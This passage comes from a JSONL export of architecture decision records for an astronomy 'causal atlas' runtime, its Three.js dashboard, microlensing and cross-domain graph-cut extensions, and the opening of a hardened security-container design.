Detection Dashboard](ADR-040a-planet-detection-dashboard.md) for Views V1-V5, WebSocket streaming, Vite build configuration, and design decision D5.\n\n## Package Structure\n\n```\npackages/agentdb-causal-atlas/\n src/\n index.ts # createCausalAtlasServer() factory\n CausalAtlasServer.ts # HTTP + CLI runtime + dashboard serving + WS\n CausalAtlasEngine.ts # Core atlas, coherence, memory, boundary\n adapters/\n PlanetTransitAdapter.ts # Kepler/TESS light curve ingestion\n SpectrumAdapter.ts # JWST/archive spectral ingestion\n CosmicWebAdapter.ts # SDSS spatial graph (Phase 2)\n pipelines/\n PlanetDetection.ts # P0-P2 planet detection pipeline\n LifeCandidate.ts # L0-L2 life candidate pipeline\n constructs/\n CausalAtlas.ts # Compressed causal partial order\n CoherenceField.ts # Partition tree + cut pressure\n MultiScaleMemory.ts # Tiered S/M/L retention\n BoundaryTracker.ts # Boundary evolution + alerts\n download/\n ProgressiveDownloader.ts # Tiered lazy download with resume\n DataManifest.ts # URL + hash + size manifests\n KernelBuilder.ts # Reuse/extend from ADR-008\n dashboard/ # See ADR-040a for full dashboard tree\n tests/\n causal-atlas.test.ts\n planet-detection.test.ts\n life-candidate.test.ts\n progressive-download.test.ts\n coherence-field.test.ts\n boundary-tracker.test.ts\n```\n\n### Rust Implementation\n\n> See [ADR-040b](ADR-040b-microlensing-graphcut-extensions.md#rust-implementation) for the full Rust crate table. Examples location: `examples/rvf/examples/`\n\n## Implementation Phases\n\n### Phase 1: Core Atlas + Planet Detection + Dashboard Shell (v0.1)\n\n**Scope**: Kepler and TESS only. No spectra. No life scoring.\n\n1. `ProgressiveDownloader` with tier-0 curated dataset (100 Kepler targets)\n2. `PlanetTransitAdapter` for FITS light curve ingestion\n3. `CausalAtlas` with windowing, feature extraction, SIMD embedding\n4. `PlanetDetection` pipeline (P0-P2)\n5. `WITNESS_SEG` with SHAKE-256 chain\n6. CLI: `rvf run`, `rvf query planet list`, `rvf trace`\n7. HTTP: `/api/candidates/planet`, `/api/atlas/trace`\n8. Dashboard shell: V1, V3, V5 views (see ADR-040a), WebSocket `/ws/live`\n\n**Acceptance**: 1,000 Kepler targets, top-100 ranked list includes >= 80\nconfirmed planets, every item replays to same score and witness root on two\nmachines.\n\n### Phase 2: Coherence Field + Boundary Tracker (v0.2)\n\n1. `CoherenceField` with dynamic min-cut, partition entropy\n2. `BoundaryTracker` with timeline and alerts\n3. `MultiScaleMemory` with S/M/L tiers and budget control\n4. Coherence gating added to planet pipeline\n5. HTTP: `/api/coherence`, `/api/boundary/*`, `/api/memory/tiers`\n6. Dashboard V2 Coherence Heatmap (see ADR-040a)\n\n### Phase 3: Life Candidate Pipeline (v0.3)\n\n1. `SpectrumAdapter` for JWST/archive spectral data\n2. `LifeCandidate` pipeline (L0-L2) with disequilibrium scoring\n3. Tier-3 progressive download for spectral data\n4. CLI: `rvf query life list`; HTTP: `/api/candidates/life`\n5. Dashboard V4 Life Dashboard (see ADR-040a)\n\n**Acceptance**: AUC > 0.8 on published spectra with known atmospheric\ndetections vs nulls, every score includes confound penalties and provenance.\n\n### Phase 4: Cosmic Web + Full Integration (v0.4)\n\n1. `CosmicWebAdapter` for SDSS spatial graph\n2. Cross-domain coherence (planet candidates enriched by large-scale context)\n3. Full offline demo with sealed RVF snapshot\n4. `rvf ingest --expand` for tier-2 bulk download\n\n## Evaluation Plan\n\n### Planet Detection Acceptance Test\n\n| Metric | Requirement |\n|--------|-------------|\n| Recall@100 | >= 80 confirmed planets in top 100 |\n| False positives@100 | Documented with witness traces |\n| Median time per star | Measured and reported |\n| Reproducibility | Identical root hash on two machines |\n\n### Life Candidate Acceptance Test\n\n| Metric | Requirement |\n|--------|-------------|\n| AUC (detected vs null) | > 0.8 |\n| Confound penalties | Present on every score |\n| Provenance trace | Complete for every score |\n\n### System Acceptance Test\n\n| Test | Requirement |\n|------|-------------|\n| Boot reproducibility | Identical root hash across two machines |\n| Query determinism | Identical results for same dataset snapshot |\n| Witness verification | `verifyWitness` passes for all chains |\n| Progressive download | Resumes correctly after interruption |\n\n## Failure Modes and Fix Path\n\n| Failure | Fix |\n|---------|-----|\n| Noise dominates coherence field | Strengthen policy priors, add confound penalties, enforce multi-epoch stability |\n| Over-compression kills rare signals | Boundary-critical retention rules + candidate evidence pinning |\n| Spurious life signals from stellar activity | Model stellar variability as its own interaction graph, penalize coupling |\n| Compute blow-up | Strict budgets in POLICY_SEG, tiered memory, boundary-first indexing |\n| Download interruption | HTTP Range resume, partial-ingest checkpoint, witness for partial state |\n\n## Design Decisions\n\n### D1: Kepler/TESS only in v1, spectra in v3\n\nPhase 1 delivers a concrete, testable planet-detection system. Life scoring\nrequires additional instrument-specific adapters and more nuanced policy\nrules. Separating them de-risks the schedule.\n\n### D2: Progressive download with embedded demo subset\n\nThe RVF artifact ships with a curated ~50 MB tier-0 dataset for fully offline\ndemonstration. Full catalog data is downloaded lazily, following the pattern\nproven in ADR-008 for GGUF model files. This keeps the initial artifact small\n(< 100 MB without kernel) while supporting the full 1,000+ target benchmark.\n\n### D3: Boundary-first storage (holographic principle)\n\nBoundaries are stored as first-class indexed objects. Interior state is\nreconstructed on-demand from boundary witnesses and retained archetypes.\nThis reduces storage by 10-50x for large graphs while preserving\nqueryability and reproducibility.\n\n### D4: Witness chain for every derived claim\n\nEvery candidate, every coherence measurement, and every boundary change is\ncommitted to the SHAKE-256 witness chain. This enables two-machine\nreproducibility verification and provides a complete audit trail from raw\ndata to final score.\n\n## Recent Enhancements (2026-03)\n\n| Enhancement | Detail |\n|-------------|--------|\n| QAOA graph-cut solver | Quantum alternative to Edmonds-Karp via ruQu QAOA (`qaoa_graphcut.rs`) |\n| Kepler's third law | Dashboard semi-major axis uses `a = P^(2/3)` instead of linear approx |\n| Deterministic orbit params | Eccentricity/inclination derived from candidate name hash, not `Math.random()` |\n| Logarithmic BLS period grid | 400 log-spaced trial periods for uniform sensitivity across period range |\n| Multi-duration transit search | 5 trial durations (0.01-0.035) instead of single 0.02 duty cycle |\n| Iterative cut refinement | 3-iteration mincut with lambda boost/decay (exomoon F1: 0.261 to 0.308) |\n| Real OGLE/MOA manifest | 13 real microlensing events with published parameters |\n\n## References\n\n1. [MAST \u2014 Kepler](https://archive.stsci.edu/missions-and-data/kepler) | 2. [MAST \u2014 TESS](https://archive.stsci.edu/missions-and-data/tess) | 3. [MAST Home](https://archive.stsci.edu/home)\n4. [NASA Exoplanet Archive](https://exoplanetarchive.ipac.caltech.edu/) | 5. [SDSS DR17](https://www.sdss4.org/dr17/)\n6. ADR-003 | 7. ADR-006 | 8. ADR-007 | 9. ADR-008", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-040-causal-atlas-rvf-runtime-planet-detection.md", "created_at": "2026-03-28T11:58:49.376789+00:00", "content_hash": "f05fd99881aa8c4698ac3b08b7b90b70961e8bcd9489adc1671ab531f593f495"} +{"id": "6511f049-d40c-4ac8-adc9-50bd1acad042", "source": "adr", "text": "# ADR-040a: Causal Atlas Dashboard Specification\n\n**Status:** Proposed\n**Date:** 2026-02-18\n**Parent:** ADR-040\n**Related:** ADR-008 (Chat UI RVF)\n\n## Context\n\nThis sub-ADR extracts the dashboard specification from ADR-040 to keep\nindividual files under 500 lines per project guidelines. It covers the\nThree.js visualization dashboard architecture, all five dashboard views\n(V1-V5), the WebSocket live stream protocol, Vite build configuration,\nand the design decision for embedding the dashboard in the RVF artifact.\n\nThe REST and CLI API definitions remain in the main ADR-040 as they are\npart of the core runtime interface.\n\n## Dashboard Architecture\n\nThe RVF embeds a Vite-bundled Three.js dashboard in `DASHBOARD_SEG`. The\nruntime HTTP server serves it at `/` (root). All visualizations are driven\nby the same API endpoints the CLI uses, so every rendered frame corresponds\nto queryable, witness-backed data.\n\n```\nDASHBOARD_SEG (inside RVF)\n dist/\n index.html # Vite SPA entry\n assets/\n main.[hash].js # Three.js + D3 + app logic (tree-shaken)\n main.[hash].css # Tailwind/minimal styles\n worker.js # Web Worker for graph layout\n\nRuntime serves:\n GET / -> DASHBOARD_SEG/dist/index.html\n GET /assets/* -> DASHBOARD_SEG/dist/assets/*\n GET /api/* -> JSON API (atlas, coherence, candidates, etc.)\n WS /ws/live -> Live streaming of boundary alerts and pipeline progress\n```\n\n**Build pipeline**: Vite builds the dashboard at package time into a single\ntree-shaken bundle. The bundle is embedded into `DASHBOARD_SEG` during RVF\nassembly. No Node.js required at runtime \u2014 the dashboard is pure static\nassets served by the existing HTTP server.\n\n## Dashboard Views\n\n### V1: Causal Atlas Explorer (Three.js 3D)\n\nInteractive 3D force-directed graph of the causal atlas.\n\n| Feature | Implementation |\n|---------|---------------|\n| **Node rendering** | `THREE.InstancedMesh` for events \u2014 color by domain (Kepler=blue, TESS=cyan, JWST=gold, derived=white) |\n| **Edge rendering** | `THREE.LineSegments` with opacity mapped to edge weight |\n| **Causal flow** | Animated particles along causal edges showing temporal direction |\n| **Scale selector** | Toggle between window scales (2h, 12h, 3d, 27d) \u2014 re-layouts graph |\n| **Candidate highlight** | Click candidate in sidebar to trace its causal chain in 3D, dimming unrelated nodes |\n| **Witness replay** | Step through witness chain entries, animating graph state forward/backward |\n| **LOD** | Level-of-detail: far=boundary nodes only, mid=top-k events, close=full subgraph |\n\nData source: `GET /api/atlas/query`, `GET /api/atlas/trace`\n\n### V2: Coherence Field Heatmap (Three.js + shader)\n\nReal-time coherence field rendered as a colored surface over the atlas graph.\n\n| Feature | Implementation |\n|---------|---------------|\n| **Field surface** | `THREE.PlaneGeometry` subdivided grid, vertex colors from coherence values |\n| **Cut pressure** | Red hotspots where cut pressure is high, cool blue where stable |\n| **Partition boundaries** | Glowing wireframe lines at partition cuts |\n| **Time scrubber** | Scrub through epochs to see coherence evolution |\n| **Drift overlay** | Toggle to show embedding drift as animated vector arrows |\n| **Alert markers** | Pulsing icons at boundary alert locations |\n\nData source: `GET /api/coherence`, `GET /api/boundary/timeline`, `WS /ws/live`\n\n### V3: Planet Candidate Dashboard (2D panels + 3D orbit)\n\nSplit view combining data panels with 3D orbital visualization.\n\n| Panel | Content |\n|-------|---------|\n| **Ranked list** | Sortable table: candidate ID, score, uncertainty, period, SNR, publishable status |\n| **Light curve viewer** | Interactive D3 chart: raw flux, detrended flux, transit model overlay, per-window score |\n| **Phase-folded plot** | All transits folded at detected period, with confidence band |\n| **3D orbit preview** | `THREE.Line` showing inferred orbital path around host star, sized by uncertainty |\n| **Evidence trace** | Expandable tree showing witness chain from raw data to final score |\n| **Score breakdown** | Radar chart: SNR, shape consistency, period stability, coherence stability |\n\nData source: `GET /api/candidates/planet`, `GET /api/candidates/:id/trace`\n\n### V4: Life Candidate Dashboard (2D panels + 3D molecule)\n\nSplit view for spectral disequilibrium analysis.\n\n| Panel | Content |\n|-------|---------|\n| **Ranked list** | Sortable table: candidate ID, disequilibrium score, uncertainty, molecule flags, publishable |\n| **Spectrum viewer** | Interactive D3 chart: wavelength vs flux, molecule absorption bands highlighted |\n| **Molecule presence matrix** | Heatmap of detected molecule families vs confidence |\n| **3D molecule overlay** | `THREE.Sprite` labels at absorption wavelengths in a 3D wavelength space |\n| **Reaction graph** | Force-directed graph of molecule co-occurrences vs equilibrium expectations |\n| **Confound panel** | Bar chart: stellar activity penalty, contamination risk, repeatability score |\n\nData source: `GET /api/candidates/life`, `GET /api/candidates/:id/trace`\n\n### V5: System Status Dashboard\n\nOperational health and download progress.\n\n| Panel | Content |\n|-------|---------|\n| **Download progress** | Per-tier progress bars with byte counts and ETA |\n| **Segment sizes** | Stacked bar chart of RVF segment utilization |\n| **Memory tiers** | S/M/L tier fill levels and compaction history |\n| **Witness chain** | Scrolling log of recent witness entries with hash preview |\n| **Pipeline status** | P0/P1/P2 and L0/L1/L2 stage indicators with event counts |\n| **Performance** | Query latency histogram, events/second throughput |\n\nData source: `GET /api/status`, `GET /api/memory/tiers`, `WS /ws/live`\n\n## WebSocket Live Stream\n\n```typescript\n// WS /ws/live \u2014 server pushes events as they happen\ninterface LiveEvent {\n type: 'boundary_alert' | 'candidate_new' | 'candidate_update' |\n 'download_progress' | 'witness_commit' | 'pipeline_stage' |\n 'coherence_update';\n timestamp: string;\n data: Record;\n}\n```\n\nThe dashboard subscribes on connect and updates all views in real-time as\npipelines process data and boundaries evolve.\n\n## Vite Build Configuration\n\n```typescript\n// vite.config.ts for dashboard build\nimport { defineConfig } from 'vite';\n\nexport default defineConfig({\n build: {\n outDir: 'dist/dashboard',\n assetsDir: 'assets',\n rollupOptions: {\n output: {\n manualChunks: {\n three: ['three'], // ~150 KB gzipped\n d3: ['d3-scale', 'd3-axis', 'd3-shape', 'd3-selection'],\n },\n },\n },\n },\n});\n```\n\n**Bundle budget**: < 500 KB gzipped total (Three.js ~150 KB, D3 subset ~30 KB,\napp logic ~50 KB, styles ~10 KB). The dashboard adds minimal overhead to the\nRVF artifact.\n\n## Design Decision: D5 \u2014 Dashboard Embedded in RVF\n\nThe Three.js dashboard is bundled at build time and embedded in `DASHBOARD_SEG`\nrather than served from an external CDN or requiring a separate install. This\nensures:\n\n1. **Fully offline**: Works without network after boot\n2. **Version-locked**: Dashboard always matches the API version it queries\n3. **Single artifact**: One RVF file = runtime + data + visualization\n4. **Witness-aligned**: Dashboard renders exactly the data the witness chain\n can verify\n\n## Dashboard Package Structure\n\n```\npackages/agentdb-causal-atlas/\n dashboard/ # Vite + Three.js visualization app\n vite.config.ts # Build config \u2014 outputs to dist/dashboard/\n index.html # SPA entry point\n src/\n main.ts # App bootstrap, router, WS connection\n api.ts # Typed fetch wrappers for /api/* endpoints\n ws.ts # WebSocket client for /ws/live\n views/\n AtlasExplorer.ts # V1: 3D causal atlas (Three.js force graph)\n CoherenceHeatmap.ts # V2: Coherence field surface + cut pressure\n PlanetDashboard.ts # V3: Planet candidates + light curves + 3D orbit\n LifeDashboard.ts # V4: Life candidates + spectra + molecule graph\n StatusDashboard.ts # V5: System health, downloads, witness log\n three/\n AtlasGraph.ts # InstancedMesh nodes, LineSegments edges, particles\n CoherenceSurface.ts # PlaneGeometry with vertex-colored field\n OrbitPreview.ts # Orbital path visualization\n CausalFlow.ts # Animated particles along causal edges\n LODController.ts # Level-of-detail: boundary -> top-k -> full\n charts/\n LightCurveChart.ts # D3 flux time series with transit overlay\n SpectrumChart.ts # D3 wavelength vs flux with molecule bands\n RadarChart.ts # Score breakdown radar\n MoleculeMatrix.ts # Heatmap of molecule presence vs confidence\n components/\n Sidebar.ts # Candidate list, filters, search\n TimeScrubber.ts # Epoch scrubber for coherence replay\n WitnessLog.ts # Scrolling witness chain entries\n DownloadProgress.ts # Tier progress bars\n styles/\n main.css # Minimal Tailwind or hand-rolled styles\n tests/\n dashboard.test.ts # Dashboard build + API integration tests\n```\n\n## References\n\n1. ADR-040: Causal Atlas RVF Runtime \u2014 Planet Detection & Life Candidate Scoring\n2. ADR-008: Chat UI RVF Kernel Embedding\n3. [Three.js Documentation](https://threejs.org/docs/)\n4. [Vite Build Tool](https://vitejs.dev/)\n5. [D3.js](https://d3js.org/)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-040a-planet-detection-dashboard.md", "created_at": "2026-03-28T11:58:49.377045+00:00", "content_hash": "58abaceda7f758547ce569c7e38bb913fd27d6dc9a8c75a99a76452e721709a7"} +{"id": "3b862db4-95f2-4d1a-8b9d-dac149979178", "source": "adr", "text": "# ADR-040b: Microlensing Detection & Cross-Domain Graph-Cut Extensions\n\n**Status:** Proposed\n**Date:** 2026-03-15\n**Parent:** ADR-040\n**Related:** ADR-003 (RVF Format), ADR-006 (Unified Self-Learning RVF)\n\n## Context\n\nThis sub-ADR documents the microlensing detection pipeline (M0-M3) and\ncross-domain graph-cut applications that extend ADR-040's core architecture.\nThese extensions demonstrate how the MRF/mincut + RuVector pattern generalizes\nbeyond transit-based planet detection to gravitational microlensing and to\nnon-astronomy domains including medical imaging, genomics, financial fraud\ndetection, supply chain monitoring, cybersecurity, and climate analysis.\n\nExtracted from ADR-040 to keep individual files under 500 lines per project\nguidelines.\n\n## Microlensing Detection Pipeline (M0-M3)\n\nExtends the transit pipeline to gravitational microlensing events for rogue\nplanet and exomoon candidate detection.\n\n### Additional Data Sources\n\n| Source | Access | Reference |\n|--------|--------|-----------|\n| OGLE-IV microlensing events | Public FTP | [ogle.astrouw.edu.pl](https://ogle.astrouw.edu.pl/ogle4/ews/ews.html) |\n| MOA-II microlensing alerts | Public archive | [www.massey.ac.nz/~iabond/moa](https://www.massey.ac.nz/~iabond/moa/) |\n| Gaia astrometric catalog | ESA public | [gea.esac.esa.int](https://gea.esac.esa.int/archive/) |\n| Roman Space Telescope | Upcoming | High-cadence microlensing survey |\n\n### Stage M0: Ingest\n\nMicrolensing light curve ingestion from OGLE/MOA archives.\n- Normalize photometry across surveys (MOA-II: ~15 min cadence, 0.008sigma floor; OGLE-IV: ~40 min cadence, 0.005sigma floor)\n- Segment into event windows around magnification peaks\n- Store as RVF Event nodes with survey-specific metadata\n\n### Stage M1: Single-Lens Detection\n\nStandard Paczynski curve fitting for point-source point-lens (PSPL) events.\n- Two-phase fit: coarse grid search + fine refinement\n- Linear regression for source flux (F_s) and blending flux (F_b)\n- Parameter estimation: Einstein crossing time (t_E), impact parameter (u_0), peak time (t_0)\n- Create Candidate nodes for events exceeding SNR threshold\n\n### Stage M2: Anomaly Detection via MRF/Mincut\n\nResidual analysis after best-fit PSPL subtraction using Markov Random Field\noptimization with graph cut inference.\n\n**Three-statistic lambda computation:**\n1. Excess chi2: window fit quality relative to global reduced chi2\n2. Runs test: temporal coherence of residual sign changes\n3. Gaussian bump fit: localized perturbation chi2 improvement\n\n**Differential normalization:** Compare each window's signal to tau-space\nneighbors, producing z-scores that are ~0 for uniform fit quality and positive\nonly for localized anomalies.\n\n**Graph construction:**\n- Temporal chain: consecutive time windows (alpha weight)\n- RuVector kNN edges: embedding similarity from residual features (beta weight)\n- Edmonds-Karp BFS max-flow solver for s-t mincut\n\n### Stage M3: Coherence Gating\n\nDynamic mincut separates competing explanations (noise vs planet vs moon vs\nbinary lens) using support region analysis.\n\n| Component | Role |\n|-----------|------|\n| RuVector embeddings | Cross-survey memory; retrieve similar anomalies |\n| HNSW index | Fast similarity search across microlensing events |\n| Dynamic mincut | Separate competing explanations |\n| Witness chain | Full provenance from raw photometry to candidate |\n\n**Important constraint:** Dynamic mincut provides coherent support extraction\nbut cannot replace lens modeling. The physics solver (PSPL/binary) provides\nlocal evidence; mincut provides spatial coherence.\n\n## Cross-Domain Graph-Cut Applications\n\nThe MRF/mincut + RuVector architecture generalizes beyond astronomy to any\ndomain requiring coherent anomaly detection in structured data.\n\n### Implemented Verticals\n\n| Vertical | Example | Graph Topology | Anomaly Types |\n|----------|---------|----------------|---------------|\n| **Medical Imaging** | `medical_graphcut.rs` | 4-connected spatial grid, gradient-weighted edges | Lesion segmentation (T1-MRI, T2-MRI, CT) |\n| **Genomics** | `genomic_graphcut.rs` | Linear chain + kNN similarity | CNV gains/losses, LOH, cancer drivers (TP53, BRCA1, EGFR, MYC) |\n| **Financial Fraud** | `financial_fraud_graphcut.rs` | Temporal chain + merchant edges + kNN | Card-not-present, account takeover, card clone, synthetic, refund |\n| **Supply Chain** | `supply_chain_graphcut.rs` | Tier chain + geographic + kNN | Quality defect, shortage, price anomaly, delay, counterfeit, demand shock |\n| **Cybersecurity** | `cyber_threat_graphcut.rs` | Source/destination chain + kNN | Port scan, brute force, exfiltration, C2 beacon, DDoS, lateral movement |\n| **Climate** | `climate_graphcut.rs` | Spatial adjacency + gradient + kNN | Heat wave, pollution spike, drought, ocean warming, cold snap, sensor fault |\n\n### Common Architecture\n\nAll verticals share:\n1. **Domain-specific data generator** with realistic parameters from published datasets\n2. **Feature extraction** producing 32-dim embeddings for RuVector storage\n3. **Graph construction** combining domain topology (spatial/temporal/chain) with kNN similarity edges\n4. **Edmonds-Karp BFS** s-t mincut solver (identical implementation), with optional **QAOA quantum graph-cut solver** via ruQu as a drop-in alternative (`qaoa_graphcut.rs`; see ADR-040 Recent Enhancements)\n5. **RVF integration**: witness chains, filtered metadata queries, lineage derivation\n6. **Evaluation**: comparison against threshold baseline showing graph-cut improvement\n\n### Additional Real Data Sources\n\n| Domain | Source | Access |\n|--------|--------|--------|\n| Genomics | TCGA (The Cancer Genome Atlas) | [portal.gdc.cancer.gov](https://portal.gdc.cancer.gov/) |\n| Genomics | ClinVar variants | [ncbi.nlm.nih.gov/clinvar](https://www.ncbi.nlm.nih.gov/clinvar/) |\n| Genomics | COSMIC (somatic mutations) | [cancer.sanger.ac.uk/cosmic](https://cancer.sanger.ac.uk/cosmic) |\n| Medical | LIDC-IDRI (lung CT) | [cancerimagingarchive.net](https://www.cancerimagingarchive.net/) |\n| Medical | BraTS (brain tumors) | [synapse.org](https://www.synapse.org/) |\n| Cybersecurity | CICIDS2017 | [unb.ca/cic](https://www.unb.ca/cic/datasets/ids-2017.html) |\n| Climate | NOAA GHCN | [ncei.noaa.gov](https://www.ncei.noaa.gov/) |\n| Climate | EPA AQI | [epa.gov/aqs](https://www.epa.gov/aqs) |\n\n## Measured Results\n\nResults from running examples with `cargo run --example --release`.\n\n### Astronomy\n\n| Pipeline | Metric | Value | Notes |\n|----------|--------|-------|-------|\n| `planet_detection` | Recall@10 | 8/10 confirmed | Synthetic Kepler-like targets |\n| `exomoon_graphcut` | Precision | 0.25 | Chang-Refsdal perturbative limit |\n| `exomoon_graphcut` | Recall | 0.25 | Limited by ~2-3sigma per-window SNR |\n| `exomoon_graphcut` | F1 | 0.25 | 30 events, 12 with moons |\n| `real_microlensing` | Planets rediscovered | 2/4 | OGLE-2005-BLG-390, OGLE-2016-BLG-1195 |\n| `microlensing_detection` | Events processed | 20 | Synthetic PSPL + anomalies |\n\n### Medical Imaging\n\n| Modality | Graph Cut Dice | Threshold Dice | Improvement |\n|----------|---------------|----------------|-------------|\n| T1-MRI | 0.44-0.59 | 0.32-0.46 | +27-39% |\n| T2-MRI | 0.50-0.62 | 0.38-0.48 | +29-32% |\n| CT | 0.48-0.58 | 0.35-0.44 | +32-37% |\n\n### Genomics\n\n| Platform | Sensitivity | Specificity | Drivers Found |\n|----------|-------------|-------------|---------------|\n| WGS (30x) | 0.91-0.95 | 0.66-0.97 | 4/4 (TP53, BRCA1, EGFR, MYC) |\n| WES (100x) | 0.88-0.93 | 0.70-0.95 | 4/4 |\n| Panel (500x) | 0.93-0.97 | 0.72-0.98 | 4/4 |\n\n## Rust Implementation\n\nThe pipeline examples are implemented in Rust using the RVF runtime crates:\n\n| Crate | Role |\n|-------|------|\n| `rvf-types` | Core types, segment definitions, derivation types |\n| `rvf-runtime` | RvfStore, HNSW indexing, metadata filters, queries |\n| `rvf-crypto` | SHAKE-256 witness chains, verification |\n| `rvf-wire` | Wire format serialization |\n| `rvf-manifest` | Segment manifests and policies |\n| `rvf-index` | Progressive HNSW index construction |\n| `rvf-quant` | Vector quantization (PQ, SQ) |\n| `rvf-kernel` | Kernel/initrd segment embedding |\n| `rvf-launch` | Boot sequence and runtime launch |\n| `rvf-ebpf` | eBPF socket/syscall policies |\n| `rvf-server` | HTTP/WS server for dashboard and API |\n\nExamples location: `examples/rvf/examples/`\n\n## References\n\n1. ADR-040: Causal Atlas RVF Runtime \u2014 Planet Detection & Life Candidate Scoring\n2. [OGLE Microlensing Events](https://ogle.astrouw.edu.pl/ogle4/ews/ews.html)\n3. [MOA Microlensing Alerts](https://www.massey.ac.nz/~iabond/moa/)\n4. [Gaia Archive](https://gea.esac.esa.int/archive/)\n5. [TCGA Data Portal](https://portal.gdc.cancer.gov/)\n6. [CICIDS2017 Dataset](https://www.unb.ca/cic/datasets/ids-2017.html)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-040b-microlensing-graphcut-extensions.md", "created_at": "2026-03-28T11:58:49.377191+00:00", "content_hash": "df1a5bcb4f32c7e1a6c0980a96acb3fd0b95e3d8432214c8f149a5c80472f97b"} +{"id": "632b616a-ff44-4d93-82a7-a2277908234a", "source": "adr", "text": "# ADR-042: Security RVF \u2014 AIDefence + TEE Hardened Cognitive Container\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| Status | Accepted |\n| Date | 2025-02-21 |\n| Authors | ruv |\n| Supersedes | \u2014 |\n| Implements | ADR-041 Tier 1 (Security Container) |\n\n## Context\n\nADR-041 identified 15 npm packages suitable for RVF cognitive containers. This ADR\nspecifies the **ultimate security RVF** \u2014 a single `.rvf` file that combines:\n\n1. **AIDefence** \u2014 5-layer adversarial defense (prompt injection, jailbreak, PII, behavioral, policy)\n2. **TEE attestation** \u2014 Hardware-bound trust (SGX, SEV-SNP, TDX, ARM CCA)\n3. **Hardened Linux microkernel** \u2014 Minimal attack surface boot image + KernelBinding anti-tamper\n4. **Coherence Gate** \u2014 Anytime-valid permission authorization\n5. **RBAC + Ed25519 signing** \u2014 Role-based access with cryptographic proof\n6. **Witness chain audit** \u2014 Tamper-evident hash-chained event log\n7. **Self-bootstrapping** \u2014 Dual WASM (Interpreter + Microkernel) for standalone execution\n8. **Dashboard** \u2014 Embedded security monitoring UI (DASHBOARD_SEG)\n9. **Quantization** \u2014 Scalar (int8, 4x) + Binary (1-bit, 32x) compression\n10. **Lifecycle** \u2014 Filter deletion, compaction, and permanent freeze/seal\n\nThe result is a self-contained, bootable, cryptographically sealed security appliance\nwith 30 verified capabilities, end-to-end from silicon to application layer.\n\n## Decision\n\nBuild `security_hardened.rvf` as a capstone example in `examples/rvf/examples/` that\nexercises every security primitive in the RVF format.\n\n## Architecture\n\n```\nsecurity_hardened.rvf\n\u251c\u2500\u2500 KERNEL_SEG (0x0E) Hardened Linux 6.x + KernelBinding (128B anti-tamper)\n\u251c\u2500\u2500 EBPF_SEG (0x0F) Packet filter + syscall policy enforcer\n\u251c\u2500\u2500 WASM_SEG #1 (0x10) AIDefence engine (prompt injection, PII, jailbreak)\n\u251c\u2500\u2500 WASM_SEG #2 (0x10) Interpreter runtime (self-bootstrapping)\n\u251c\u2500\u2500 DASHBOARD_SEG (0x11) Security monitoring web UI\n\u251c\u2500\u2500 VEC_SEG (0x01) Threat signature embeddings (512-dim)\n\u251c\u2500\u2500 INDEX_SEG (0x02) HNSW index over threat vectors (m=32)\n\u251c\u2500\u2500 CRYPTO_SEG (0x0C) Ed25519 keys + TEE-bound key records\n\u251c\u2500\u2500 WITNESS_SEG (0x0A) 30-entry security lifecycle chain\n\u251c\u2500\u2500 META_SEG (0x07) Security policy + RBAC config + AIDefence rules\n\u251c\u2500\u2500 PROFILE_SEG (0x0B) Domain profile: RVSecurity\n\u251c\u2500\u2500 PolicyKernel (0x31) Gate thresholds + coherence config\n\u251c\u2500\u2500 MANIFEST_SEG (0x05) Signed manifest with hardening fields\n\u2514\u2500\u2500 Signature Footer Ed25519 over entire artifact\n```\n\n### Segment Budget\n\n| Segment | Purpose | Size Budget |\n|---------|---------|-------------|\n| KERNEL_SEG | Hardened Linux bzImage | ~1.6 MB |\n| EBPF_SEG | Firewall + syscall filter | ~8 KB |\n| WASM_SEG | AIDefence WASM engine | ~256 KB |\n| VEC_SEG | Threat embeddings (1000 x 512) | ~2 MB |\n| INDEX_SEG | HNSW graph | ~512 KB |\n| CRYPTO_SEG | Keys + TEE attestation records | ~4 KB |\n| WITNESS_SEG | 30-entry audit chain | ~2 KB |\n| META_SEG | Policy JSON + RBAC matrix | ~4 KB |\n| PROFILE_SEG | Domain profile | ~512 B |\n| PolicyKernel | Gate config | ~1 KB |\n| MANIFEST_SEG | Signed directory | ~512 B |\n| **Total** | | **~4.4 MB** |\n\n## Security Layers\n\n### Layer 1: Hardware Root of Trust (TEE)\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 AttestationHeader (112 bytes) \u2502\n\u2502 \u251c\u2500\u2500 platform: SGX/SEV-SNP/TDX/CCA \u2502\n\u2502 \u251c\u2500\u2500 measurement: MRENCLAVE \u2502\n\u2502 \u251c\u2500\u2500 signer_id: MRSIGNER \u2502\n\u2502 \u251c\u2500\u2500 nonce: anti-replay \u2502\n\u2502 \u251c\u2500\u2500 svn: security version \u2502\n\u2502 \u2514\u2500\u2500 quote: opaque attestation blob \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n- Hardware TEE attestation records in CRYPTO_SEG\n- TEE-bound key records: keys sealed to enclave measurement\n- Platform verification: correct TEE + measurement + validity window\n- Multi-platform: SGX, SEV-SNP, TDX, ARM CCA in single witness chain\n\n### Layer 2: Kernel Hardening\n\n```\nKernelHeader flags:\n KERNEL_FLAG_SIGNED = 0x0001\n KERNEL_FLAG_COMPRESSED = 0x0002\n KERNEL_FLAG_REQUIRES_TEE = 0x0004\n KERNEL_FLAG_MEASURED = 0x0008\n KERNEL_FLAG_REQUIRES_KVM = 0x0010\n KERNEL_FLAG_ATTESTATION_READY = 0x0400\n```\n\nLinux tinyconfig + hardening options:\n- `CONFIG_SECURITY_LOCKDOWN_LSM=y` \u2014 Kernel lockdown\n- `CONFIG_SECURITY_LANDLOCK=y` \u2014 Landlock sandboxing\n- `CONFIG_SECCOMP=y` \u2014 Syscall filtering\n- `CONFIG_STATIC_USERMODEHELPER=y` \u2014 No dynamic module loading\n- 